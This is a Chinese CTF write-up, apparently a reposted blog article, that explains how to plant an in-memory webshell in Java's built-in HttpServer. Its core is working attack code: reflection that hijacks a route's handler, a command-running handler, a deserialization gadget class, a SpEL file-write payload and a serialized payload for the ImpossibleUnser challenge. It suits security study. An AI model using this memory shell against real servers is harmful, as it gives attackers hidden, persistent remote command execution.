HttpServer内存马

HttpServer内存马

基础知识

一些基础的方法和类

HttpServer:HttpServer主要是通过带参的create方法来创建,第一个参数InetSocketAddress表示绑定的ip地址和端口号。第二个参数为int类型,表示允许排队的最大TCP连接数,如果该值小于或等于零,则使用系统默认值。

createContext:可以调用多次,表示将指定的url路径绑定到指定的HttpHandler处理器对象上,服务器接收到的所有路径请求都将通过调用给定的处理程序对象来处理。

setExecutor:设置服务器的线程池对象,不设置或者设为null则表示使用start方法创建的线程。

代码例子

首先我们需要知道怎么使用httpserver构建一个HttpServer服务
其实不难,重点只有两部分,一个是server,一个是hander

其实举个例子就能够理解了

import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;

public class HttpServerStarter {
    public static void main(String[] args) throws IOException {
        //创建一个HttpServer实例,并绑定到指定的IP地址和端口号
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0);

        //创建一个HttpContext,将路径为/myserver请求映射到MyHttpHandler处理器
        httpServer.createContext("/myserver", new MyHttpHandler());

        //设置服务器的线程池对象
        httpServer.setExecutor(Executors.newFixedThreadPool(10));

        //启动服务器
        httpServer.start();
    }
}

然后就是我们的handler



import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;

public class IndexHandler implements HttpHandler {
    @Override
    public void handle(HttpExchange exchange) throws IOException {
        OutputStream os = exchange.getResponseBody();
        List<String> files = listFilesInDirectory("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\tomcat4\\web\\WEB-INF\\classes");
        StringBuilder response = new StringBuilder();

        for (String file : files) {
            response.append(file).append("\n");
        }

        byte[] responseData = response.toString().getBytes();
        int chunkSize = 1024; // 设置每个数据块的大小

        exchange.sendResponseHeaders(200, responseData.length);

        int offset = 0;
        while (offset < responseData.length) {
            int bytesToWrite = Math.min(chunkSize, responseData.length - offset);
            os.write(responseData, offset, bytesToWrite);
            offset += bytesToWrite;
        }

        os.close();
    }
    private List<String> listFilesInDirectory(String directoryPath) {
        File directory = new File(directoryPath);
        File[] files = directory.listFiles();

        if (files != null) {
            return Arrays.asList(directory.list());
        } else {
            return null;
        }
    }
}

在这里插入图片描述

利用

其实看了上面的例子,我们的利用就是使用server创建一个路由和对于的handler,然后控制恶意的handler,但是问题是怎么去获取我们的server

获取server

我们是根据线程去获取的
在这里插入图片描述当然不止这一种

Thread.currentThread().getThreadGroup().threads

这是获取所有的线程在这里插入图片描述
然后通过[0]去获取你需要的线程,然后就是

Thread.currentThread().getThreadGroup().threads.target.this$0

去获取到我们的context对象
然后你还可以去获取我们的handler
在这里插入图片描述
就是在server的contexts中,然后还是选list的其中一个,然后获取

这就是我们一道DASCTF X HDCTF 2024 ImpossibleUnser的解法

构造恶意的handler

当我们获取到了handler之后,我们就可以使用它的createContext方法了,给我们的路由构建一个恶意的handler

恶意的handler主要是重写它的handle方法

public void handle(HttpExchange httpExchange) throws IOException {
        String cmd = httpExchange.getRequestURI().getQuery().split("=")[1];

        InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();

        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8));

        String line;
        StringBuilder stringBuilder = new StringBuilder();

        while ((line = reader.readLine()) != null) {
            stringBuilder.append(line + "\n");
        }

        String response = stringBuilder.toString();

        httpExchange.sendResponseHeaders(200, response.length());
        OutputStream os = httpExchange.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }

CTF题目

DASCTF X HDCTF 2024 ImpossibleUnser

官方wp
源码

package com.ctf;
import java.net.InetSocketAddress;
import com.sun.net.httpserver.HttpServer;
public class IndexController {
    public static void main(String[] args) throws Exception {
        HttpServer server = HttpServer.create(new InetSocketAddress(8000), 0);
        server.createContext("/ctf", new SPELHandler());
        server.createContext("/index", new IndexHandler());
        server.createContext("/unser", new UnserHandler());
        server.setExecutor(null);
        server.start();
    }
}
package com.ctf;

import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;

public class IndexHandler implements HttpHandler {
    @Override
    public void handle(HttpExchange exchange) throws IOException {
        OutputStream os = exchange.getResponseBody();
        List<String> files = listFilesInDirectory("/usr/lib/jvm/java-8-openjdk-amd64/jre");
        StringBuilder response = new StringBuilder();

        for (String file : files) {
            response.append(file).append("\n");
        }

        byte[] responseData = response.toString().getBytes();
        int chunkSize = 1024; // 设置每个数据块的大小

        exchange.sendResponseHeaders(200, responseData.length);

        int offset = 0;
        while (offset < responseData.length) {
            int bytesToWrite = Math.min(chunkSize, responseData.length - offset);
            os.write(responseData, offset, bytesToWrite);
            offset += bytesToWrite;
        }

        os.close();
    }
    private List<String> listFilesInDirectory(String directoryPath) {
        File directory = new File(directoryPath);
        File[] files = directory.listFiles();

        if (files != null) {
            return Arrays.asList(directory.list());
        } else {
            return null;
        }
    }
}

然后unser路由就是一个反序列化入口

然后还有一个spel表达式注入
方法三 使用内存马方式
这里就直接放payload了
这里wp的思路是修改ctf路由的handler,当然我们也可以添加

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class EvilMemshell implements Serializable, HttpHandler {
    private  void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
        try{
            ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
            Field threadsFeld = threadGroup.getClass().getDeclaredField("threads");
            threadsFeld.setAccessible(true);
            Thread[] threads = (Thread[])threadsFeld.get(threadGroup);
            Thread thread = threads[1];

            Field targetField = thread.getClass().getDeclaredField("target");
            targetField.setAccessible(true);
            Object object = targetField.get(thread);

            Field this$0Field = object.getClass().getDeclaredField("this$0");
            this$0Field.setAccessible(true);
            object = this$0Field.get(object);

            Field contextsField = object.getClass().getDeclaredField("contexts");
            contextsField.setAccessible(true);
            object = contextsField.get(object);

            Field listField = object.getClass().getDeclaredField("list");
            listField.setAccessible(true);
            java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object);
            object = linkedList.get(0);

            Field handlerField = object.getClass().getDeclaredField("handler");
            handlerField.setAccessible(true);
            handlerField.set(object,this);
        }catch(Exception exception){
        }
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void main(String[] args) throws Exception {
        System.out.println(base64serial(new EvilMemshell()));
    }

    @Override
    public void handle(HttpExchange httpExchange) throws IOException {
        String query = httpExchange.getRequestURI().getQuery();
        String[] split = query.split("=");
        String response = "SUCCESS"+"\n";
        if (split[0].equals("shell")) {
            String cmd = split[1];
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            byte[] bytes = new byte[1024];
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            int flag=-1;
            while((flag=inputStream.read(bytes))!=-1){
                byteArrayOutputStream.write(bytes,0,flag);
            }
            response += byteArrayOutputStream.toString();
            byteArrayOutputStream.close();
        }
        httpExchange.sendResponseHeaders(200,response.length());
        OutputStream outputStream = httpExchange.getResponseBody();
        outputStream.write(response.getBytes());
        outputStream.close();
    }
}

重写它的readobject方法,当反序列化它的时候就会处理readobejct的方法,获取到server,更改server的handler

当然我们需要配合spel先把这个恶意的文件写进去

payload=T(com.sun.org.apache.xml.internal.security.utils.JavaUtils).writeBytesToFilename("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/EvilMemshell.class",T(java.util.Base64).getDecoder.decode("恶意代码的base64编码"))

然后反序列化它

unser=rO0ABXNyAAxFdmlsTWVtc2hlbGwx3CJ1tyzvvgIAAHhw

之后就可以在ctf路由进行命令执行了
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/773901.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Android 10.0 关于定制自适应AdaptiveIconDrawable类型的动态时钟图标的功能实现系列一

1.前言 在10.0的系统rom定制化开发中,在关于定制动态时钟图标中,原系统是不支持动态时钟图标的功能,所以就需要从新 定制动态时钟图标关于自适应AdaptiveIconDrawable类型的样式,就是可以支持当改变系统图标样式变化时,动态时钟 图标的背景图形也跟着改变,所以接下来就来…

如何使用C++调用Pytorch模型进行推理测试:使用libtorch库

如何使用C调用Pytorch模型进行推理测试&#xff1a;使用libtorch库 目录 如何使用C调用Pytorch模型进行推理测试&#xff1a;使用libtorch库一、环境准备1&#xff0c;linux&#xff1a;以ubuntu 22.04系统为例1. 准备CUDA和CUDNN2. 准备C环境3, 下载libtorch文件4, 编写测试li…

uniapp中实现跳转链接到游览器(安卓-h5)

uniapp中实现跳转链接到游览器&#xff08;安卓-h5&#xff09; 项目中需要做到跳转到外部链接&#xff0c;网上找了很多都不是很符合自己的要求&#xff0c;需要编译成app后是跳转到游览器打开链接&#xff0c;编译成web是在新窗口打开链接。实现的代码如下&#xff1a; 效果&…

“谋士三国”诸葛亮的锦囊妙计 - 策略模式

“当代码如三国&#xff0c;智慧如孔明&#xff0c;何愁天下设计不归一统&#xff1f;” 乱世之中&#xff0c;英雄辈出。三国的战场上&#xff0c;不仅刀光剑影&#xff0c;更有智慧的较量。诸葛亮的锦囊妙计&#xff0c;不正是今日软件设计中策略模式的完美写照吗&#xff1…

Python酷库之旅-第三方库Pandas(003)

目录 一、用法精讲 4、pandas.read_csv函数 4-1、语法 4-2、参数 4-3、功能 4-4、返回值 4-5、说明 4-6、用法 4-6-1、创建csv文件 4-6-2、代码示例 4-6-3、结果输出 二、推荐阅读 1、Python筑基之旅 2、Python函数之旅 3、Python算法之旅 4、Python魔法之旅 …

五.核心动画 - 图层的变换(平移,缩放,旋转,3D变化)

引言 在上一篇博客中&#xff0c;我们研究了一些视觉效果&#xff0c;在本篇博客中我们将要来讨论一下图层的旋转&#xff0c;平移&#xff0c;缩放&#xff0c;以及可以将扁平物体转换成三维空间对象的CATransform3D。 图层变换 图层的仿射变换 在视图中有一个transform属…

海外发稿: 秘鲁-区块链新闻媒体通稿宣发

秘鲁媒体单发 随着全球化的不断深入&#xff0c;海外发稿已经成为众多企业宣传推广的重要方式之一。而在海外发稿的选择中&#xff0c;秘鲁媒体的地位尤为重要。秘鲁作为南美洲的重要国家之一&#xff0c;拥有众多知名媒体平台&#xff0c;包括diariodelcusco、serperuano、el…

全网视频下载之IDM下载安装,软破解

全网视频下载之IDM下载安装&#xff0c;软破解 介绍![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/c94f612f7a8845c8a649f74f6b18fd70.png)下载安装配置浏览器Google浏览器Ddge浏览器 界面如何下载不破解如何重复使用总结 介绍 今天给大家分享一个更加简便的全网视…

nftables(1)基本原理

简介 nftables 是 Linux 内核中用于数据包分类的现代框架&#xff0c;用来替代旧的 iptables&#xff08;包括 ip6tables, arptables, ebtables 等&#xff0c;统称为 xtables&#xff09;架构。nftables 提供了更强大、更灵活以及更易于管理的规则集配置方式&#xff0c;使得…

【matlab】智能优化算法——求解目标函数

智能优化算法在求解目标函数方面发挥着重要作用&#xff0c;它通过迭代、筛选等方法来寻找目标函数的最优值&#xff08;极值&#xff09;。以下是关于智能优化算法求解目标函数的详细介绍&#xff1a; 一、智能优化算法概述 智能优化算法是一种搜索算法&#xff0c;旨在通过…

0/1背包问题总结

文章目录 &#x1f347;什么是0/1背包问题&#xff1f;&#x1f348;例题&#x1f349;1.分割等和子集&#x1f349;2.目标和&#x1f349;3.最后一块石头的重量Ⅱ &#x1f34a;总结 博客主页&#xff1a;lyyyyrics &#x1f347;什么是0/1背包问题&#xff1f; 0/1背包问题是…

《简历宝典》02 - 如果你是HR,你会优先打开哪份简历?

现在的求职环境不必多说&#xff0c;其实我们大家都还是很清楚的。所以&#xff0c;在这个环境下&#xff0c;写一份优秀的简历&#xff0c;目的与作用也不必多说。那么&#xff0c;这一小节呢&#xff0c;我们先从简历这份文档的文档名开始说起。 目录 1 你觉得HR们刷简历的时…

【SVN的使用-源代码管理工具-命令行的使用 Objective-C语言】

一、接下来,我们来说一个终端的命令行的使用, 1.我们说,你的电脑里边呢,有终端, 在Mac里边,你想新建一个txt,应该怎么写,对,打开文本编辑, 打开这个东西,写点儿东西,然后保存一下,保存的时候,你还要去选择格式, 现在,如果我们用命令行,可以更方便一些, 2.首…

企业用私户发工资算不算偷税?

一般来说&#xff0c;给员工发工资都是用企业的对公账户去发&#xff0c;但是&#xff0c;有的企业会用私户去发工资&#xff0c;早前就有蜜雪冰城股东用私户给员工发奖金被税局稽查&#xff0c;最终补缴个税近800万的新闻&#xff0c;可见&#xff0c;私户发工资是具有很大风险…

上海时尚新品发布会,可以邀请哪些媒体

传媒如春雨&#xff0c;润物细无声&#xff0c;大家好&#xff0c;我是51媒体网胡老师。 在上海举办时尚新品发布会时&#xff0c;可以邀请的媒体类型多样&#xff0c;以下是一些建议的媒体类型及其特点&#xff1a; 一、平面媒体 报纸&#xff1a; 《文汇报》&#xff1a;上…

底层软件 | 十分详细,为了学习设备树,我写了5w字笔记!

0、设备树是什么&#xff1f;1、DTS 1.1 dts简介1.2 dts例子 2、DTC&#xff08;Device Tree Compiler&#xff09;3、DTB&#xff08;Device Tree Blob&#xff09;4、绑定&#xff08;Binding&#xff09;5、Bootloader compatible属性 7、 #address-cells和#size-cells属性8…

Qt源码解析之QObject

省去大部分virtual和public方法后&#xff0c;Qobject主要剩下以下成员&#xff1a; //qobject.h class Q_CORE_EXPORT Qobject{Q_OBJECTQ_PROPERTY(QString objectName READ objectName WRITE setObjectName NOTIFY objectNameChanged)Q_DECLARE_PRIVATE(QObject) public:Q_I…

印章谁在管、谁用了、用在哪?契约锁让您打开手机一看便知

“印章都交给谁在管”、“哪些人能用”、“都有哪些业务在用”…这些既是管理者最关心的印章问题也是影响印章安全的关键要素。但是公司旗下分子公司那么多&#xff0c;各类公章、法人章、财务章、合同章一大堆&#xff0c;想“问”明白很难。 契约锁电子签及印控平台推出“印章…

OpenLayers使用2

接着上一篇https://blog.csdn.net/weixin_51416826/article/details/140161160?spm1001.2014.3001.5502 本篇主要内容是基于高德API逆向地址解析获取城市中心点&#xff0c;并且设置了输入框&#xff0c;可以输入城市执行飞行&#xff0c;同时基于高德API获取城市天气信息&am…

【漏洞复现】万户协同办公平台——反序列化

声明&#xff1a;本文档或演示材料仅供教育和教学目的使用&#xff0c;任何个人或组织使用本文档中的信息进行非法活动&#xff0c;均与本文档的作者或发布者无关。 文章目录 漏洞描述漏洞复现测试工具 漏洞描述 万户协同办公平台ezEIP是一个综合信息基础应用平台&#xff0c;…